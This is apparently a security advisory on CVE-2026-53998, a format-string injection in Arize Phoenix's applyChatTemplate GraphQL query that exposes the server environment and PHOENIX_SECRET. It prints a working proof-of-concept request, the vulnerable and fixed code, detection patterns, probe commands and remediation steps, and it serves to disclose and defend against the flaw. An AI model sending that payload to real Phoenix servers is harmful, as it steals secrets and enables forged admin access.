critical

CVE

CVE-2026-53998

CWE

CWE-134, CWE-200, CWE-306

Affected Surface

  • PyPI `arize-phoenix` `>= 13.0.0, < 15.7.0` (13.0.0 released 13 February 2026), and container images built on those versions
  • Phoenix servers with authentication disabled (the default), where the GraphQL endpoint is reachable without credentials
  • Phoenix servers with authentication enabled, where any account of any role can send the query

TL;DR

Phoenix is Arize’s open-source LLM tracing and evaluation server, installed from PyPI as arize-phoenix. Its prompt playground can render chat templates in an F_STRING format, and the GraphQL query applyChatTemplate does that rendering on the server. From 13.0.0 until 15.7.0 the server rendered those templates with Python’s str.format(). str.format() follows attribute and index lookups inside the braces, so a template like {u.__class__.__bases__[0].__init__.__globals__[_os].environ} walks from a harmless variable to the process environment and returns it in the query response.

The query needs no credentials on a default install, because Phoenix ships with authentication off. With authentication on, any account works, regardless of role. The environment usually holds PHOENIX_SECRET, which signs Phoenix’s JWTs and derives the key that encrypts stored credentials such as LLM provider API keys and OAuth tokens. With it an attacker can mint admin sessions and decrypt those secrets.

Arize fixed the bug in 15.7.0 on 13 May 2026, listed as a bug fix in the release notes. The advisory, including a copy-paste PoC, went public on 9 November, and NVD published the CVE with a CVSS 3.1 score of 10.0 on 16 November. When we checked on 17 November the global GitHub Advisory Database had no reviewed entry, so Dependabot and similar tools may not flag old pins yet.

What to do now:

  1. Upgrade arize-phoenix to 15.7.0 or later. The current release is 21.0.0.
  2. If a vulnerable version was reachable by anyone you don’t fully trust, assume its environment was read. Rotate PHOENIX_SECRET and every other secret in the server’s environment, and rotate the provider keys stored in Phoenix.
  3. Turn on authentication and keep Phoenix off the public internet. The fix hardens the formatter, but applyChatTemplate still has no auth check of its own on main.

Affected packages and projects

EcosystemPackageAffected versionsFixed or safe version
PyPIarize-phoenix>= 13.0.0, < 15.7.015.7.0 (13 May 2026); latest 21.0.0 (30 October 2026)

The repository advisory lists the vulnerable range as >= 13.0.0 with v15.7.0 as the patched version but no upper bound on the range. NVD, ENISA’s EUVD and the fix commit all agree the bug is gone in 15.7.0. If a scanner flags a current Phoenix release for this CVE, that’s the range metadata, not a regression.

Technical analysis

1. The vulnerable formatter (src/phoenix/utilities/template_formatters.py, v14.8.0)

class FStringTemplateFormatter(TemplateFormatter):
    ...
    def _format(self, template: str, variable_names: Iterable[str], **variables: Any) -> str:
        # Wrap dict and list variables to support attribute access (e.g., {user.name})
        wrapped_variables = {key: _wrap_value(value) for key, value in variables.items()}
        return template.format(**wrapped_variables)
  • template comes straight from the GraphQL request: it’s the text of each message in the chat template.
  • variables also comes from the request (templateOptions.variables). Each dict is wrapped in a DotDict so {user.name} works.
  • template.format(...) is Python’s built-in formatter. For a field like {u.__class__} it runs getattr(u, "__class__"), and for {x[_os]} it runs x["_os"]. Nothing stops the chain.

The authors did try to block private names. DotDict has this guard:

    def __getattr__(self, name: str) -> Any:
        if name.startswith("_"):
            raise AttributeError(name)
        raise AttributeError(f"No attribute '{name}'")

Python only calls __getattr__ when normal attribute lookup fails. __class__ and __init__ exist on every object, so lookup succeeds and the guard never runs. The PR that fixed the bug says the same thing: “The DotDict.__getattr__ guard was ineffective because dunders like __class__ are real attributes.”

2. The exploit

The PoC from the advisory is one GraphQL request:

{
  "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
  "variables": {
    "t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
    "o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
  }
}

Reading the template field left to right:

  • u is the variable {"x": 1}, wrapped as a DotDict.
  • .__class__ is DotDict. .__bases__[0] is its parent, argparse.Namespace.
  • .__init__.__globals__ is the module namespace of argparse, where Namespace.__init__ is defined.
  • [_os] indexes that namespace. argparse does import os as _os, so this is the os module.
  • .environ is the server’s os.environ, which str.format() renders with str() and returns as the message text.

The same pattern reaches any module global the chain can see. That includes Phoenix’s own configuration constants, which is why the advisory also lists server paths and module state.

applyChatTemplate is a plain @strawberry.field on the root Query type with no permission class. In 15.7.0 and on main it still looks like this:

    @strawberry.field
    async def apply_chat_template(
        self,
        template: PromptChatTemplateInput,
        template_options: PromptTemplateOptions,
        input_mapping: Optional[EvaluatorInputMappingInput] = None,
    ) -> PromptChatTemplate:

So the fix closes the traversal, but the resolver is still reachable without login when authentication is off.

3. The fix (commit e7224a6)

Arize replaced str.format() with a string.Formatter subclass that resolves each field itself and refuses any attribute name that starts with an underscore:

+class _SafeFieldFormatter(Formatter):
+    def get_field(self, field_name: str, args: Any, kwargs: Any) -> Any:
+        first = re.match(r"^[^.\[\]]*", field_name).group(0)  # type: ignore[union-attr]
+        rest = field_name[len(first) :]
+        key: Any = int(first) if first.isdigit() else first
+        obj = self.get_value(key, args, kwargs)
+        for attr, index in _FIELD_NAME_PART_RE.findall(rest):
+            if attr:
+                if attr.startswith("_"):
+                    raise TemplateFormatterError(
+                        f"Access to attribute '{attr}' is not permitted in templates"
+                    )
+                obj = getattr(obj, attr)
+            else:
+                obj = obj[int(index) if index.lstrip("-").isdigit() else index]
+        return obj, first
 ...
-        return template.format(**wrapped_variables)
+        return self._formatter.vformat(template, (), wrapped_variables)
  • get_field is the hook string.Formatter calls for each {...} field. Overriding it puts the check in the one place every lookup passes through, which is what the reporter recommended.
  • _FIELD_NAME_PART_RE splits .attr and [index] parts. Every .attr that starts with _ raises, so the chain breaks at .__class__.
  • Index lookups ([_os]) are not filtered, but you can’t reach a module namespace by indexing without first going through a dunder attribute.
  • {user.name} and {items[0].value} still work.

The regression tests in the same commit include the exact PoC string ({u.__class__.__bases__[0].__init__.__globals__}) and confirm the Mustache formatter, which uses pystache dict lookups, was never affected.

IOCs

No in-the-wild exploitation has been reported, and there are no network indicators. The exploit leaves these traces:

  • GraphQL requests to /graphql whose operationName or query text contains applyChatTemplate and whose variables contain F_STRING together with __class__, __globals__, __init__, __bases__ or environ.
  • On patched servers, errors containing Access to attribute '__class__' is not permitted in templates mean someone tried.
  • Admin sessions or API keys that nobody on your team created, which would point to a forged JWT after PHOENIX_SECRET was read.

Detection and remediation

Find vulnerable installs:

pip show arize-phoenix 2>/dev/null | grep -i '^version'
python -c "import phoenix; print(phoenix.__version__)"

# Pins in requirements and pyproject files (anything from 13.0.0 to 15.6.x is affected)
grep -rnE 'arize-phoenix' --include='requirements*.txt' --include='pyproject.toml' . 2>/dev/null
# Resolved versions in lockfiles
grep -nA1 '^name = "arize-phoenix"$' poetry.lock uv.lock 2>/dev/null
jq -r '.default["arize-phoenix"].version // empty' Pipfile.lock 2>/dev/null

# Kubernetes and Docker images
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | grep -i phoenix

Test your own instance with a probe that only reveals a class name. On 15.6.x or earlier the response text is <class 'phoenix.utilities.template_formatters.DotDict'>. On 15.7.0 or later you get the “not permitted” error:

curl -s https://phoenix.internal.example.com/graphql -H 'Content-Type: application/json' -d '{
  "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
  "variables": {"t": {"messages": [{"role": "USER", "content": [{"text": {"text": "{u.__class__}"}}]}]},
                "o": {"format": "F_STRING", "variables": {"u": {"x": 1}}}}
}'

Search reverse-proxy or WAF logs that record request bodies:

zgrep -hE 'applyChatTemplate' /var/log/nginx/*access*.gz /var/log/waf/* 2>/dev/null \
  | grep -E '__class__|__globals__|__init__|environ' | head

Then:

  1. Upgrade to arize-phoenix>=15.7.0 and redeploy.
  2. Rotate PHOENIX_SECRET. Stored credentials are encrypted with keys derived from it, so read Phoenix’s documentation on secret rotation first and plan to re-enter the provider keys and OAuth secrets stored in Phoenix.
  3. Rotate everything else that was in the server’s environment: database URLs and passwords, LLM provider API keys, OAuth client secrets, cloud credentials and SMTP passwords.
  4. Revoke Phoenix API keys and sessions, and review the user list for admins you didn’t create.
  5. Set PHOENIX_ENABLE_AUTH=true and put the server behind your SSO proxy or VPN.

Timeline

  • 2026-02-13: arize-phoenix 13.0.0, the first affected release, according to the reporter.
  • 2026-04-16: 14.8.0 uploaded to PyPI. The reporter’s advisory names it as the latest confirmed vulnerable release at the time of the report.
  • 2026-05-13 01:08 UTC: PR #13197 merged as e7224a6.
  • 2026-05-13 01:18 UTC: 15.7.0 uploaded to PyPI. The release notes describe the change as format-string injection prevention.
  • 2026-10-30: 21.0.0 released.
  • 2026-11-09 15:47 UTC: Arize publishes GHSA-gfv3-m769-5xm3 with the reporter’s PoC.
  • 2026-11-16 19:50 UTC: ENISA EUVD publishes EUVD-2026-126621. NVD publishes CVE-2026-53998 at 20:19 UTC with CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L).
  • 2026-11-17: No reviewed entry in the global GitHub Advisory Database yet.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References